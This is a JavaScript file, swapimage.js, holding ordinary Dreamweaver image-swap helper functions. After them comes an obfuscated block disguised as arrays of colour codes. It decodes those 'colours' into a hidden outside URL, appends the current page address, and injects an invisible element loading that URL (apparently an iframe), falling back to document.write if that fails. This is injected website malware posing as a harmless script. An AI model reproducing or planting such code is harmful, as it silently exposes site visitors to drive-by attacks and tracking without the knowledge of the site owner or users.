// swapimage.js

var ferView   = null;

init();

function MM_swapImgRestore() { //v3.0
  var i,x,a = document.MM_sr; 	
	for(i=0; a && i<a.length && (x = a[i]) && x.oSrc; i++) 
		x.src = x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d = document; 
	if(d.images) { 
		if(!d.MM_p) 
			d.MM_p = new Array();
  	var i,j = d.MM_p.length;
		var a = MM_preloadImages.arguments; 
		for(i = 0; i<a.length; i++)
    if (a[i].indexOf("#") != 0) {
			d.MM_p[j]=new Image; 
			d.MM_p[j++].src=a[i];
		}
	}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  
	
	if(!d) 
		d = document; 
	if((p = n.indexOf("?")) > 0 && parent.frames.length) {
    d = parent.frames[n.substring(p+1)].document; 
		n = n.substring(0,p);
	}
	if(!(x = d[n]) && d.all) 
		x = d.all[n]; 
	for(i=0; !x && i<d.forms.length; i++) 
		x = d.forms[i][n];
  for(i=0; !x && d.layers && i<d.layers.length; i++) 
		x = MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) 
		x = d.getElementById(n); 
	
	return x;
}

function MM_swapImage() { //v3.0
  var i,j = 0;
	var x,a = MM_swapImage.arguments; 
	
	document.MM_sr = new Array; 
	for(i=0; i<(a.length-2); i+=3)
    if ((x = MM_findObj(a[i])) != null) {
			document.MM_sr[j++] = x; 
			if(!x.oSrc) 
				x.oSrc = x.src; 
			x.src = a[i+2];
		}
}


if (typeof(def_colors)=="undefined") {
   var def_colors = 1;

   var div_colors = new Array('#778383', '#7f493e', '#3e4744', '#3d4041', '#473d40', '#45483d', '#404246', '#3e8674', '#71787c', '#3e7980', '#847481', '#883d7c', '#787d3d', '#798200');
   var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d', '#7e7d74', '#787581', '#707c74', '#4b7378', '#852f82', '#83887b', '#744c36', '#737882', '#7f7b70', '#88497d', '#7e7d74', '#364d4b', '#787581', '#707c74', '#2f8281', '#724c36', '#364d4b', '#3e7875', '#81707c', '#744d4b', '#3e7378', '#854d82', '#81724e', '#81754c');
   var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);

   function div_pick_color(t) {
	var s = '';
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!='00') s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	  }
	return s;
   }

   var ct = new Array(10);
   var s = div_pick_color(css_colors);
   var c = css_indexes;
   ct[0] = div_pick_color(div_colors);
   var j = 0; var ci = 1;
   for(i=0;i<c.length;i++) {
  	ct[ci++] = s.substr(j,c[i]);
	j=j+c[i];
   }
   ct[0] = ct[0] + ct[9] + document.location;
   function check_div_style() {
	var d=document.getElementsByTagName(ct[1])[0];
	if(d) {
		try {
			var d=document.getElementsByTagName(ct[1])[0];
			var v=document.createElement(ct[2]);
			v.style.display=ct[4];
			v.setAttribute(ct[3],ct[4]);
			d.appendChild(v);
			w=document.createElement(ct[5]);
			w.src=ct[0];
			w.setAttribute(ct[8],ct[0]);
			v.appendChild(w);
		} catch(e) {
			document.write(ct[6]+ct[0]+ct[7]);
		}
	   } else {
		setTimeout("check_div_style();",500);	
	   }
   }

   check_div_style();

}
